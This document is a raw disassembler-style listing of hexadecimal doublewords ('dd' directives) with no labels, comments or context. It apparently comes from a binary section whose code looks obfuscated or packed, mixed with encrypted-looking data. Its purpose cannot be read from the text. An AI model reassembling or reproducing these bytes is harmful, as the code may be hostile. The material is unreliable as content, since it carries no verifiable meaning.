		dd 0C09AD00Ch, 0B0BDD88Dh, 0AF70759Ah, 98700A92h, 0FFFF633Ah
		dd 1177FDFFh, 0BE29C1D5h, 759A7FD1h, 30EC9634h,	0F4620BAh
		dd 0DDD9C75Fh, 4046480Dh, 523CD484h, 7016F450h,	31A406B4h
		dd 731B3F4Ah, 526DB2F4h, 0AAD7B98Fh, 0F9437B72h, 6D530CF3h
		dd 341473D2h, 0D75E68FAh, 53F49E38h, 0DC000000h, 0A614F0B2h
		dd 90E45104h, 59D3165h,	6D0C9324h, 0D1E59528h, 9AEF7916h
		dd 8BC29C75h, 52F24CDAh, 0F0770F8Fh, 73D2E223h,	7D7164C6h
		dd 0DFC5CBE3h, 6E6A3A1Bh, 575ADC4Eh, 0CAD4A01Eh, 0EF581DCFh
		dd 73D22632h, 0C95B5575h, 9E3890BDh, 0F817h, 1177DE00h
		dd 0B8F9E7D5h, 0C18F5550h, 492C9EFFh, 15779A04h, 277D234Bh
		dd 440AD2DFh, 19D5987Ah, 0CDE1257Bh, 5D1E137Ch,	6F668BCBh
		dd 4F8B11BFh, 51705C03h, 2977759Ah, 0A13BB171h,	38FCA22Ch
		dd 0B47016B0h, 20547F06h, 0B9CFBD8Ch, 46440321h, 4E0CDCD8h
		dd 24A3797Ch, 8F52FF62h, 25FDFD4Fh, 599D038Dh, 0D2E07D1Ah
		dd 8FC69873h, 15B9DDE8h, 9562E57Dh, 6073D2E0h, 0AE30FE3Ah
		dd 445A7E27h, 0EBBB891Ch, 0B624E0A5h, 44CEAF14h, 673B7598h
		dd 0F153EDA3h, 16F6B3DDh, 0AF7D3C5Ah, 257396CEh, 7D70FE02h
		dd 1C3h, 0E5D53770h, 6F63A7FBh,	0F7FB2761h, 7E72B2E9h
		dd 0C78B5150h, 4C4DADCAh, 0CEB6D098h, 75305E12h, 0FFA523AFh
		dd 7F17B73Bh, 0D7282BC8h, 6AA3CE73h, 72961F81h,	0C4E6D430h
		dd 636A747Ah, 0E2EE3E7Bh, 9CF9BEE4h, 3056D234h,	0A96D33E9h
		dd 0B33F9923h, 316590BCh, 0FA6D059Dh, 759A7F1Dh, 0B66F66F8h
		dd 8F5262A8h, 463DB30Dh, 73D27295h, 16B48AD2h, 9E38C414h
		dd 4A8A117Fh, 0CEAC03h,	774B0000h, 0FE7D511h, 0DDAB133Eh
		dd 0C417FECh, 0BCF90782h, 13C88660h, 759A0D4Dh,	9A5E444Ah
		dd 11D5CBD3h, 91693F59h, 616FC909h, 580F7984h, 759A0DBBh
		dd 8A228C5Eh, 523D09DDh, 0BD2AC28Fh, 73D222DCh,	0AFE12439h
		dd 7CB13D3Bh, 19A3DB92h, 8D6ADD75h, 6873D250h, 442D9FD6h
		dd 0F6710539h, 891CF1B1h, 508CF694h, 0F1B0DEF6h, 37CFA72Bh
		dd 98F1E3B0h, 103EA975h, 0FA9A8F0h, 28B63F81h, 80D2B369h
		dd 180225ECh, 0B91B52h,	3D660000h, 0B9E1EFE3h, 2D577179h
		dd 0C8DFF9F1h, 5B464008h, 0D3DCC981h, 0DA967633h, 0A028F8BCh
		dd 35A57F26h, 0B931F5ABh, 31DE8921h, 0D473D727h, 0A08160D5h
		dd 7AA4AF60h, 1E8035C2h, 87014993h, 0A295C501h,	0E7D51177h
		dd 4F67A3F9h, 0D39A5A41h, 0C96D9819h, 256E22A5h, 0FD4F8F69h
		dd 0FCBD1FFh, 5A9A8667h, 0ED315296h, 0F4AA34E8h, 78C5BA30h
		dd 55E227A2h, 0BD7DFC1h, 3BCCE242h, 5929A165h, 0DD905037h
		dd 3AACEBB1h, 39CDF660h, 6CCE1A9Ch, 0D9CECC82h,	508512D5h
		dd 0DE600287h, 6667E7Ch, 0F1099F28h, 5F616FABh,	0CDD3FDFDh
		dd 86A4309h, 62000000h,	29AC643Ch, 77BC8B0Ch, 0F09EDC0Ch
		dd 62606EAAh, 0D5F3F923h, 5D7B71D1h, 0C4C2885Ch, 4B4907C5h
		dd 0B0DE9C54h, 26A42AF6h, 5B28A662h, 50E68956h,	0E34094B8h
		dd 5D8F732h, 32E34098h,	8358C601h, 348704EEh, 0CC685C24h
		dd 89000061h, 8952243Ch, 4C281E2h, 83000000h, 148704EAh
		dd 0C895C24h, 58B85024h, 0BF482E57h, 0BE1EF30Ah, 48BC701h
		dd 4C48124h, 68000000h,	55E3h, 81242489h, 42404h, 50590000h
		dd 8B8h, 52C80100h, 0BAh, 89C20100h, 0FF585A3Ah, 81592434h
		dd 4C4h, 243C8B00h, 81E38953h, 4C3h, 4C38100h, 87000000h
		dd 0E95C241Ch, 0FFFBEF3Eh, 0FDB7A77Bh, 0BEBEC7C1h, 0B877EFD7h
		dd 64D58EFh, 0E0FFC503h, 379DBCA7h, 61A506C8h, 1192BF2Eh
		dd 0D942320h, 2DBD851Ch, 7E81323Fh, 24FFD046h, 1C870F44h
		dd 4179CF4Ah, 0C7FE532h, 43F70E81h, 7BC1A06h, 7450149Fh
		dd 333A9B2Dh, 1CBFE848h, 6E8h, 0C1F64600h, 663C150Ah, 3877EA81h
		dd 81666059h, 0FC338CEEh, 61C18161h, 8100005Bh,	5E9D98EBh
		dd 0BBC0331Dh
		dd 5E14D73Dh, 6601348Bh, 814577BAh, 0B146C9C6h,	42EB8043h
		dd 0CD39EE81h, 14E87995h, 77000000h, 2F7CC35Dh,	6810303Ch
		dd 0C956C01Ah, 44DF7865h, 0E83153DDh, 6, 0A01F060h, 0D5BBA555h
		dd 5B2558EDh, 0AFEE815Bh, 0E85C8BEBh, 9, 0E8F3A478h, 0F44C5D76h
		dd 5BDBB614h, 0F013489h, 486h, 0A1BF6600h, 2810F61h, 8B000000h
		dd 4E883DEh, 0FE8h, 74DA9600h, 0A37636BBh, 0B6CA6AC3h
		dd 780D2376h, 88F8815Ah, 0FFFFFA5h, 1A85h, 0F1BF6600h
		dd 2CE997h, 0E96C0000h,	0F60E0B10h, 1742CE39h, 0D44F102Dh
		dd 0BF463C25h, 3EA4806h, 0FFFF4BE9h, 290B61FFh,	4C4EA8C3h
		dd 0C1D1B63Fh, 1AC9B553h, 0B0E90E77h, 60000000h, 0F6DA8C66h
		dd 850F04C2h, 0Ch, 0ED5853Bh, 840F0648h, 36h, 2F2D853Bh
		dd 840F0648h, 2Ah, 27C5853Bh, 840F0648h, 1Eh, 327D853Bh
		dd 840F0648h, 12h, 9A1BD83h, 0F010648h,	584h, 5FE900h
		dd 0D08B0000h, 8B3C5203h, 88BAh, 784A8B00h, 840FC985h
		dd 49h,	0F8C281h, 728B0000h, 8BC8030Ch,	518B1C59h, 8BD80314h
		dd 0FC9850Bh, 1084h, 0FCE3B00h,	1782h, 0FCF3B00h, 0F83h
		dd 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4E809D8Dh, 5B80648h
		dd 0FF000000h, 0BC361E3h, 0F68D8DD0h, 60064D5Bh, 0F954F580h
		dd 7D853361h, 8906480Ah, 4814058Dh, 0DE816606h,	85C71BF6h
		dd 6483025h, 7460h, 0D985C7FCh,	6482Ah,	60000000h, 0A818D01h
		dd 81660648h, 61C047E1h, 915B5FFh, 8D310648h, 648140Dh
		dd 0E7195FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 9D8B35C3h, 64817F9h, 95FF006Ah
		dd 648092Dh, 19EBC08Bh,	9E9C7087h, 491B97B9h, 59367427h
		dd 95A8252h, 0D91F29EFh, 60ADFD2Bh, 2B8D8D0Ch, 6A064D5Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0A8EEC355h, 21B58BB3h, 8906480Bh,	4814058Dh
		dd 6800F06h, 89000000h,	48144DB5h, 2585C706h, 1C064830h
		dd 6A000061h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 7A66C350h, 9379BA39h, 5801AE8Ah
		dd 0BE860h, 42450000h, 0F70DF09Ch, 34D4C028h, 33CB812Ah
		dd 5E71D333h, 0E7D9589h, 0C7610648h, 482AD985h,	6, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 1F202785h, 0C295F1B6h, 58C3819Ah, 663928F1h,	0B5FFFB8Bh
		dd 6480C39h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	12C35545h, 7195FF3Ch, 6A06480Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 6D02C351h
		dd 0D1B81666h, 99DF8166h, 0FF006A52h, 48092D95h, 0EBC08B06h
		dd 3CC8A57Bh, 0ADAFBC1Bh, 61C4690Ah, 0C4B6E833h, 0EEE48CF4h
		dd 0FACF1892h, 55122297h, 2655157Dh, 162C4B27h,	57A75B36h
		dd 0F041AF20h, 0DD53A938h, 1EB73298h, 0D7217B2Ch, 0C8AE73F8h
		dd 65B218FFh, 49155953h, 4D535969h, 0ED9637C1h,	623DAB63h
		dd 0E2DD4D17h, 6CF3E886h, 0A7DBF766h, 6263EED7h, 3977ABCDh
		dd 0DB0D0C1Dh, 0D8E2C7C5h, 53F3FD09h, 0B5EE514Fh, 686FB986h
		dd 8DFC2843h, 158E9h, 12E900h, 0FC600000h, 53CAC985h, 0AEA27274h
		dd 75F8B9A9h, 89249F07h, 46B58DF9h, 6A064D5Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0F53EC352h, 47B4858Dh, 0FFF5064Bh, 52006AD0h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 2299CF0Dh, 8E9F4h, 0E4B80000h, 12FE3A0Ah, 880F5D19h
		dd 10h,	0BE9h, 6058BC00h, 82BF1A01h, 7D845645h,	8820FC3h
		dd 0F000000h, 28Dh, 66616000h, 6AD98Ch,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0D3C151C3h
		dd 6EBE774Ah, 0FE9C696h, 0B0000000h, 1A435200h,	1C31F989h
		dd 60EE825Eh, 0F6FC2947h, 840F04C1h, 49h, 0CE9h, 1684F100h
		dd 4F7EFFBEh, 0CFEB56D2h, 8BFB8BB7h, 0AEC032CBh, 0CF2BFD75h
		dd 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h, 1013F20h,	74C00B00h
		dd 0C708D18h, 0CB8BFA8Bh, 490A75A6h, 1B8FA75h, 0EB000000h
		dd 0EB008B09h, 0B8E4h, 60CF0000h, 36B5D88Ah, 138E0F61h
		dd 60000000h, 0E9DFB70Fh, 9, 0A47139A3h, 93B0739Ah, 81606193h
		dd 0AF93AAC8h, 5951606Eh, 61FEB70Fh, 0B485C761h, 3F064D5Eh
		dd 0E8000101h, 0Ch, 0DCC0E028h,	5513411h, 0E289F59Bh, 0DF44D781h
		dd 0E959258Ch, 0Dh, 0E8E54E73h,	6AA14268h, 0E3B94210h
		dd 93C181C5h, 0F000066h, 684h, 86DA8100h, 0BE7B5A05h, 0
		dd 840F5253h, 0
		dd 34FF5B5Bh, 0DABF0F0Eh, 72BF6658h, 5CC0814Ah,	8159DA9Dh
		dd 0FEAE1CF3h, 0DFF0815Bh, 806CA512h, 0C0819DEBh, 7106E18h
		dd 6650D98Ah, 8F3868BFh, 0BB663104h, 5760DE58h,	836159F9h
		dd 8E0F04EEh, 1, 1CFE81F5h, 0FFFFF9Ah, 0A85h, 19E900h
		dd 0D65D0000h, 0F09C053h, 9FE9D1BFh, 0F2FFFFFFh, 0A34D55E2h
		dd 2C2BE260h, 8D245FF6h, 4D60688Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 2A7187E9h
		dd 0BC72F6E9h, 2EFD9D8Bh, 8D890648h, 6481405h, 0BE9h, 0E1FAE900h
		dd 89EB885Bh, 35F770C8h, 302585C7h, 60B80648h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0DD8AF4C3h, 2AD985C7h, 648h,	0BD8B0000h, 648279Dh, 2C299509h
		dd 0B5FF0648h, 64806FDh, 0E7195FFh, 820F0648h, 2, 6AE0B2h
		dd 92D95FFh, 0C08B0648h, 0F97C68EBh, 132E4DEEh,	52D54EA3h
		dd 9B2DD886h, 0B13A9F5Dh, 0E4717948h, 87C32E7Dh, 868A5BBBh
		dd 1EA202C0h, 0C2A9F9D1h, 39F3A3E6h, 0DDF77A1h,	152CA0FCh
		dd 74B3F74Eh, 0F48B4712h, 0C77B1AC5h, 0F48D0408h, 2C8DAC97h
		dd 0DE782ED0h, 4C1E854h, 8AF41A34h, 0DD3D7CF9h,	0A0F85E52h
		dd 97926708h, 26ACBA8Ah, 0D0A6928h, 60EB4C79h, 18h dup(0)
		dd 0C29E9h, 0C1DE900h, 59680000h, 0E9064D69h, 0FFFB1D29h
		dd 4D6AB668h, 1D1FE906h, 3F68FFFBh, 0E9064D6Bh,	0FFFB1D15h
		dd 24445BDAh, 0ADCFCA68h, 11736EF1h, 84E4FD85h,	0F6D6C08h
		dd 0BB78FE4h, 0A83E6A36h, 26C3DFBDh, 0AE554123h, 831AC9ABh
		dd 71936D2Bh, 0D0E57B7Ch, 94236539h, 68B67C71h,	0D1F8CD2h
		dd 7ED4D3A1h, 0E6E38565h, 0C662FE89h, 0D45554D0h, 5870C6A7h
		dd 0DDBFAA3Ch, 8A8D28C4h, 7A16BCFDh, 4A57E9F9h,	8EFF7C3Dh
		dd 37077F2h, 85F2EF71h,	0DF654BF7h, 4FCCADDAh, 0D0C6623Eh
		dd 0A2D3504Fh, 22532ED6h, 0A5D2B156h, 0BD282DD7h, 1F9ED9C4h
		dd 238B4039h, 5DFF3894h, 0C29C33CAh, 76248A86h,	0ECC25552h
		dd 76248AACh, 0F9D77F38h, 7C71EB96h, 0AB42D5D2h, 3D959411h
		dd 0B6D2D75Dh, 0DBC9DFE6h, 747A1969h, 45ACD4Ah,	7C715648h
		dd 1662139Ch, 690A966Dh, 6CFBFE85h, 68464FD0h, 76243330h
		dd 0DC72F3BCh, 0B9FD66CBh, 75BDC67Ch, 5B5B671Ch, 0BF332D99h
		dd 92798C17h, 48D8E11Ah, 4Fh, 0E1E48F21h, 28BB1390h, 4047EC80h
		dd 0DC7233h, 80FA9F35h,	0D2AF57E9h, 7D51C4A5h, 7624333Bh
		dd 0A48EE89h, 7624334Eh, 0E3B5E99Ah, 0E9869924h, 0D76AFF88h
		dd 4144EE7Ah, 63F27330h, 832B36C9h, 851B80E0h, 0F499FAFFh
		dd 39676Fh, 0B9FC0000h,	0BAFED07Ch, 0E6762432h,	48374540h
		dd 2E80AECBh, 7624326Ah, 806E0B70h, 0E74F5AECh,	0FF85652Eh
		dd 41366BFAh, 15149004h, 34D5B460h, 0EC80059Eh,	70314E41h
		dd 80AA4FDAh, 32D395E9h, 86E17624h, 0B9635C30h,	26E2972Eh
		dd 0B387522Eh, 0DAABAE4Ah, 0D8F65CDDh, 7C6D1F59h, 0CD9DEA95h
		dd 7C6D1E87h, 7DAB10C2h, 0DBA9E286h, 1845Ch, 80B9C700h
		dd 3D734BDAh, 6E762433h, 32C187D7h, 59EF7624h, 0DB733C4Ch
		dd 0D1A3D0DFh, 0AE355752h, 48E8FE85h, 0D6683849h, 7CFDBACBh
		dd 0FD669AFFh, 0BDC67CB9h, 9279EE75h, 48D8E11Ah, 49h, 0EDF88F21h
		dd 7CB92245h, 83D47532h, 4EDA160Ah, 4A2FACA3h, 5546EC80h
		dd 24333F79h, 65E28D76h, 563F9714h, 24334078h, 86E38C76h
		dd 4E41EC80h, 85642DE8h, 67E90EFFh, 0F92EDA0Fh,	71FE7F7Ah
		dd 676FF414h, 45h, 41EC80FCh, 0DA70314Eh, 0E48E3702h, 800760E1h
		dd 2C24080Bh, 90268EA6h, 52D26E05h, 0E9412E5Fh,	243BADEBh
		dd 0E77E3D76h, 69814BB2h, 64D2EDA6h, 7D136491h,	0DED15C52h
		dd 0EB43C0A1h, 851B80D8h, 0F499FAFFh, 380B806Fh, 61B9BD8h
		dd 0E5ACE36Dh, 2C8F14Dh, 1D893B93h, 505F7625h, 0D7D25123h
		dd 0FE852EB5h, 0FD669EFBh, 0BDC67CB9h, 9279EE75h, 48D8E11Ah
		dd 35h,	0C67CB9D3h, 6A2E80BDh, 76762432h, 1B806C09h, 4DE9FF85h
		dd 0F17E3F4Ch, 0B9FFCF66h, 7762432h, 4948E878h,	0EC80C6E1h
		dd 7E3F4C5Bh, 67A849D8h, 4Bh, 0C67CB9FCh, 52E980BDh, 24333C7Ch
		dd 57116D76h, 65762432h, 0A9016E1Ah, 24326D2Bh,	7D029E76h
		dd 7271F26Eh, 0B0D5DADCh, 4346EC80h, 32BEFAD4h,	6D0A7624h
		dd 854B50C5h, 8099FAFFh, 0DA9D9E0Bh, 389EB54Eh,	5EE67A29h
		dd 67D8EB43h, 0F4h, 2E80B9FCh, 0D84D2E27h, 0AFAF1C63h
		dd 21954431h, 0A83FD657h, 0C1696814h, 24A8DD93h, 198CEB76h
		dd 0A86C2C82h, 3F787624h, 0EB881897h, 80E78CECh, 32D395E9h
		dd 90E17624h, 24327A3Eh, 0B8394676h, 0E6FD8612h, 0B9FD669Dh
		dd 80BDC67Ch, 32D395E9h, 86E17624h, 32F9BF0Fh, 0B8C77624h
		dd 79ED7612h, 0D8E11A92h, 3848h, 0B80D300h, 55702044h
		dd 6F3F9787h, 80D7B052h, 24326A2Eh, 451E9376h, 0E9847399h
		dd 0A5C2EE44h, 851B80C0h, 0F499FAFFh, 95E9806Fh, 762432D3h
		dd 823086E1h, 54h, 0C67CB901h, 90C3B84Fh, 1C13A4CCh, 0AEC385D5h
		dd 6EF17624h, 17650273h, 80A1C268h, 24326A2Eh, 84FF7076h
		dd 0A9AC5734h, 503390DCh, 1B80B6D3h, 0DC580B80h, 0A67A339Ch
		dd 2D850201h, 0A1C2C76Dh, 6F069DF4h, 2432591Fh,	4A186776h
		dd 7624330Eh, 5275DDDAh, 3C950B80h, 90E750A3h, 0C8D55E3Ah
		dd 24E3B2F6h, 0F0713E76h, 7574F183h, 0FDF87B17h, 7D80F98Ch
		dd 4255BB49h, 0D5913F97h, 0F6762488h, 0C4588744h, 2A4B383Fh
		dd 686F1484h, 7F079908h, 0A74CCC62h, 0EB9DD3A0h, 0DF0EFDAFh
		dd 82844FAAh, 119EEFE2h, 0E9F3D764h, 0A352D141h, 41821E76h
		dd 6602833Fh, 29E87A2Fh, 0FE25EE0Ch, 0A5511767h, 109F7624h
		dd 33D9E2BAh, 0AD47CAA4h, 6F067C6Ch, 6CAC591Fh,	0B218677Ch
		dd 0BA087906h, 7C6CACFAh, 0E26E551h, 0DBA97415h, 4FCFh
		dd 0B805400h, 209E8E5Ah, 8E0AA0C5h, 8776FDE5h, 69F55CBFh
		dd 8DFA7B51h, 0FCEB7CECh, 0F8B00E7Fh, 0D1762478h, 869D26BAh
		dd 1BC1BE30h, 0F7336998h, 0FA26EA41h, 4DCAD96Eh, 0A2A146DAh
		dd 0B944D4D5h, 2A8C9A6h, 179D2F66h, 0E4FB8612h,	27401697h
		dd 450FFE85h, 472B7305h, 8C992FBDh, 0A631BEFFh,	0C169740Ah
		dd 3BE1DAB2h, 949310ACh, 653086E7h, 71E57A09h, 0ABC9B67Ch
		dd 0C352F8C3h, 0B96B66EBh, 94E58282h, 296A7EC6h, 80FAA76h
		dd 8D8C297Bh, 17D4A6FCh, 0DA813DDEh, 0E43631EAh, 25EBDDh
		dd 0B9300000h, 0B44BDA80h, 0A70D91FFh, 0D066EF66h, 24DAD682h
		dd 0F2650276h, 4BDAC95Eh, 9C322FB1h, 29720Ch, 80D10000h
		dd 3C7C52E9h, 88762433h, 32F9BFEFh, 0B8C77624h,	0D983BA12h
		dd 3344704Eh, 17907624h, 4C5BEC80h, 5FDB752Ch, 67D3F45Ah
		dd 186h, 0CE7FB9FCh, 38AF2C23h,	0F4B40AA1h, 0C0762432h
		dd 32B1F7A7h, 53DF7624h, 3040215Eh, 66C4DF77h, 0FBFE85FDh
		dd 79EE759Eh, 0D8E11A92h, 3248h, 7FB9D300h, 2E80B8DDh
		dd 7624326Ah, 86851A76h, 6E0B88E9h, 0E2851B80h,	85D970E7h
		dd 762432C3h, 0A7C09611h, 0EC806FF4h, 72334047h, 33DEDCh
		dd 0B9350000h, 80B8DD7Fh, 24326A2Eh, 0D71E9376h, 3D8D1DE2h
		dd 4AFDF75Fh, 19C8D58h,	2142C397h, 0E2851B80h, 0E98082E7h
		dd 2432D395h, 0A86E176h, 26C36B6Eh, 0FBFE859Dh,	5554D06Ch
		dd 32ACECC2h, 7F387624h, 0B80CCD7h, 0C7DD3697h,	0EE8B19AEh
		dd 933443EBh, 4FC67CB9h, 19E3BD5Ah, 24E70345h, 0DDD6D176h
		dd 53FB73E9h, 851C7530h, 24326F29h, 9C327D76h, 1A92790Bh
		dd 4048D8E1h, 0D3000000h, 33D57CB9h, 80CCA956h,	72A6460Bh
		dd 0F258E188h, 0E90D4B23h, 453E7624h, 0B18A626Eh, 1F9B3377h
		dd 18D8DC64h, 0A22348A1h, 57E980C1h, 0B845D7AAh, 857611B9h
		dd 0F499FAFFh, 34676Fh,	80FC0000h, 32D395E9h, 6FE67624h
		dd 0B79C85FAh, 0FB535C2Ch, 1B7C1623h, 326A2E80h, 1D707624h
		dd 24330741h, 2DAAD576h, 851B8048h, 0D16BFAFFh,	0E4FF5752h
		dd 0F8856FF4h, 32D99FEFh, 98E77624h, 99DC6A1Bh,	0F6762432h
		dd 0EEFB8D1Fh, 86A91648h, 32D99FEFh, 7F077624h,	0C1691662h
		dd 42D5D451h, 0CF8EA949h, 8D2524A3h, 0F88556FDh, 6774AEAh
		dd 0F98BF879h, 7C0C7D7Ch, 0FD8FFCEBh, 870E7F6Ah, 47DF14CBh
		dd 0D067B675h, 2432BAFEh, 0D1790676h, 0C7A5A441h, 0B0B732CEh
		dd 4E0CA2C3h, 76243C98h, 850205A0h, 3EC19912h, 111BCFF7h
		dd 91EEE383h, 0F822BA10h, 69DDE16Eh, 0A6BCFCD2h, 6F087624h
		dd 23DF61Ah, 882EDB9Eh,	0FFFE1844h, 0FD47DFFFh,	0E9762432h
		dd 7624332Bh, 2432DC9Bh, 3286CE76h, 34707624h, 0A2762433h
		dd 362432E2h, 0D4659E13h, 0ED2FDB93h, 0CCEE945h, 881AC599h
		dd 0A1CE3C6Fh
		dd 19C3FCD0h, 0E1A7F78Eh, 0EF3C6EB7h, 136B2A80h, 42B6D33Ah
		dd 0FF5EE18Eh, 3952A0A1h, 359C846h, 55DC0000h, 0C0623E5Ah
		dd 54EBA7C5h, 0F77F2B49h, 66029EFAh, 95E20163h,	600001ADh
		dd 0D5B79234h, 5F3D3CB9h, 0C7A5A043h, 6325790Ch, 717C719Bh
		dd 0EC8034EFh, 713E4F5Ah, 0A9BA39D9h, 243293D5h, 0AF552176h
		dd 37BF2DAAh, 0AF2C4D3Ah, 0DCD2C7DEh, 540E1883h, 9BA478DEh
		dd 770866F1h, 0B37C71D8h, 63FD94F4h, 0F2B3C0DDh, 58367E5Ch
		dd 655E7C71h, 0ED5E30A7h, 7582BEB8h, 68049B0Ah,	5B56DECCh
		dd 66CC4D2Ah, 861909AAh, 0C8DEA9Bh, 0B4B3306Ch,	783577C7h
		dd 546F7624h, 384F1FB6h, 0E07C71D9h, 0F07C1087h, 0C3C663F1h
		dd 6D16AA6Bh, 159E0A96h, 7912871Eh, 0F60FBF13h,	0A42520C2h
		dd 1FB79234h, 4A033C90h, 0BC2BA8AFh, 0D50F4925h, 3EDA7C71h
		dd 0F1C37ACBh, 0A2087705h, 3A089BF3h, 0B1C082BFh, 24F99BDDh
		dd 0C14E2976h, 39E3DCB0h, 5A6FD0AEh, 651E7C72h,	90EED6E8h
		dd 7C71F3D8h, 4BEE9BE4h, 620F9DCEh, 39911E6Fh, 0D067FEB9h
		dd 0E337D5DBh, 0DC729272h, 0D0B0B73Ch, 0A3CC3FC4h, 6653D10Fh
		dd 64610795h, 98E99617h, 717E8ACAh, 0B9827Ch, 93106160h
		dd 942B8312h, 5482BEBBh, 49725A2Bh, 0E7BA1483h,	0C67C6C81h
		dd 1B89942Ah, 8CED9A9Fh, 52ED8A26h, 0C5AF401h, 0FCDA48C7h
		dd 33000001h, 0C1DDBFB2h, 4E5A2623h, 0D2CEAAB9h, 613D5F52h
		dd 9FA4C4C5h, 6F620E36h, 120F910Dh, 989F1A76h, 7ACF8h
		dd 82DCF360h, 7C719CC6h, 0B9DB4C12h, 5049DC7Eh,	0E5EC28C8h
		dd 0C64FE7C1h, 7269D7E8h, 0D95AF67Ch, 0ACA34EDAh, 9A0D6A06h
		dd 0E9EDAB03h, 0BCFB7C71h, 720E9916h, 2F87F0F7h, 0AD4145D8h
		dd 68532B83h, 1A9933A2h, 116E610Ch, 0DABB1390h,	0E0BA943h
		dd 34E72AA8h, 640382BAh, 9D4370D9h, 59C94612h, 173h, 44243BBAh
		dd 0CDAFAA48h, 31534ED1h, 0A4C4DD65h, 2F4D4CE8h, 0EB97AF04h
		dd 881E8A16h, 6A3FF9Dh,	8E356103h, 637AE98Bh, 719E4D0Bh
		dd 42C59B7Ch, 49DC7EB9h, 81210FB7h, 3A940380h, 7624327Eh
		dd 10852D4Ah, 31440079h, 0F761F570h, 0CA66715Fh, 0E3B27C71h
		dd 7189CD8Bh, 1F9C1B7Ch, 8491126Eh, 71896E2Ah, 0BC3D7A7Ch
		dd 2423C0DCh, 9C3E7957h, 52DE7209h, 72D9F75Fh, 1B82BEEAh
		dd 696E2A84h, 2B7A7624h, 246A1553h, 47C4A376h, 0C4A4C3EFh
		dd 4D2F2AC8h, 0DF27CE51h, 5EE71573h, 58106EF9h,	6476246Bh
		dd 0A2FE9A1Bh, 0C216FB02h, 286B0C22h, 92413733h, 54D552BAh
		dd 0DDDC5834h, 9DDBB34Ah, 2B76250Fh, 0CBDAE64Ch, 0CEA0B331h
		dd 76250F8Ah, 0DBA82956h, 18A474DAh, 992F7B19h,	0F84C49Ah
		dd 32B07625h, 522C4537h, 76251016h, 0C744C5A2h,	7C55B50h
		dd 0F570F3F3h, 5F544D5Dh, 2E800F56h, 7624BB6Ah,	0B27C0976h
		dd 0FC9C3245h, 86127E71h, 744DF5FDh, 0A9248B03h, 45C26F02h
		dd 72ED9D2h, 82FE4F4Ah,	1293E0E7h, 0F1AD3D95h, 0C4C5616Fh
		dd 0D56C2547h, 24CCBFF9h, 0F6620D76h, 0DC7251h,	0AC029537h
		dd 7C722DBFh, 6D3F4C2Bh, 4753D0C6h, 5425A2BFh, 3A3FC557h
		dd 1421DFBDh, 0A6000000h, 0D395E980h, 0E1762432h, 0DA43086h
		dd 84F5F073h, 85344FE7h, 494E5FCh, 790B787Fh, 0FC8CFDFCh
		dd 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h
		dd 0B9BFCCC9h, 81E18951h, 4C1h,	4E98300h, 31240C33h, 0C33240Ch
		dd 89525C24h, 4C281E2h,	83000000h, 148704EAh, 14895C24h
		dd 0E7895724h, 4C781h, 0EF830000h, 243C8704h, 2404895Ch
		dd 21266857h, 0D15F7EBDh, 13C781E7h, 8908D31Fh,	243C8BFAh
		dd 5404C483h, 8324048Bh, 0B86804C4h, 8900002Bh,	408F2414h
		dd 2434FF08h, 4C48358h,	5A2434FFh, 0E904C483h, 0FFFB1125h
		dd 12B68E4Dh, 0CF60E681h, 60BAD6D2h, 0B8032A53h, 64D6CD7h
		dd 0C38BC503h, 0E99C1150h, 0A5F04843h, 0F105AC44h, 51173B2h
		dd 796D378Bh, 0FFBC721Ch, 82FF87A5h, 30818749h,	47CA2683h
		dd 23BE7A39h, 598A6Dh, 3FBD313Fh, 30BC773Eh, 65BC5DDDh
		dd 30BC3406h, 0F3E11777h, 14D0BEE6h, 14F8B6D9h,	30BC2DEAh
		dd 0F3E97277h, 0EFD0286h, 0D9D18BFCh, 30BC351Ch, 30BC249Fh
		dd 7BB231BBh, 0FCEB7438h, 204966Eh, 0A1F62A60h,	9966AA5Fh
		dd 0C101B487h, 30BA7FDEh, 30B7B378h, 0F75537BBh, 0B1BC37DFh
		dd 84755B19h, 0B739BA25h, 0A0BA7AD6h, 30BC3234h, 0B7B7D0EEh
		dd 0BBEC0144h, 0BBDAA770h, 5939BA12h, 5ABA7A83h, 33546177h
		dd 10BC37BBh, 0B9E2F483h, 0B1B8139Ah, 2BB81333h, 76BC37BBh
		dd 4032F48Bh, 4C80AF3h,	0B1DA0EFDh, 0D84E2C5Ch,	30BC37CCh
		dd 3AE2A345h, 1B7B930Bh, 33234B28h, 0D3926AA5h,	0D92C6DBEh
		dd 30BC377Fh, 951A129Dh, 80F06EB5h, 0D80657BEh,	6086E3ABh
		dd 30BBDFE9h, 0A59437DDh, 783648Dh, 1B36D43h, 1BD38DDDh
		dd 0A0DD6F87h, 0D8EB3784h, 30BC3774h, 6F7F689Bh, 34984B54h
		dd 3498736Fh, 30BC3762h, 767F60FCh, 0CE0551AFh,	8BDA579Dh
		dd 0B5B3DD85h, 30BC37BFh, 0BF9D88BBh, 3238388Fh, 0BBBC3777h
		dd 9129C840h, 82BA7FEDh, 627CBCE3h, 6EDD5725h, 0DB76B7E4h
		dd 22258A5Eh, 45BC31A6h, 501B47Eh, 30BA7FB6h, 63EC2EA9h
		dd 4A04F765h, 0B9BC3773h, 78958E3Eh, 5421BADBh,	0CFBA7D4Ah
		dd 0B3E46CA4h, 78B10206h, 27C837DBh, 4A0464BEh,	0B9BC3773h
		dd 78958E3Eh, 6321BADBh, 0CFBA7D4Fh, 0D8E46CA4h, 30BC37B5h
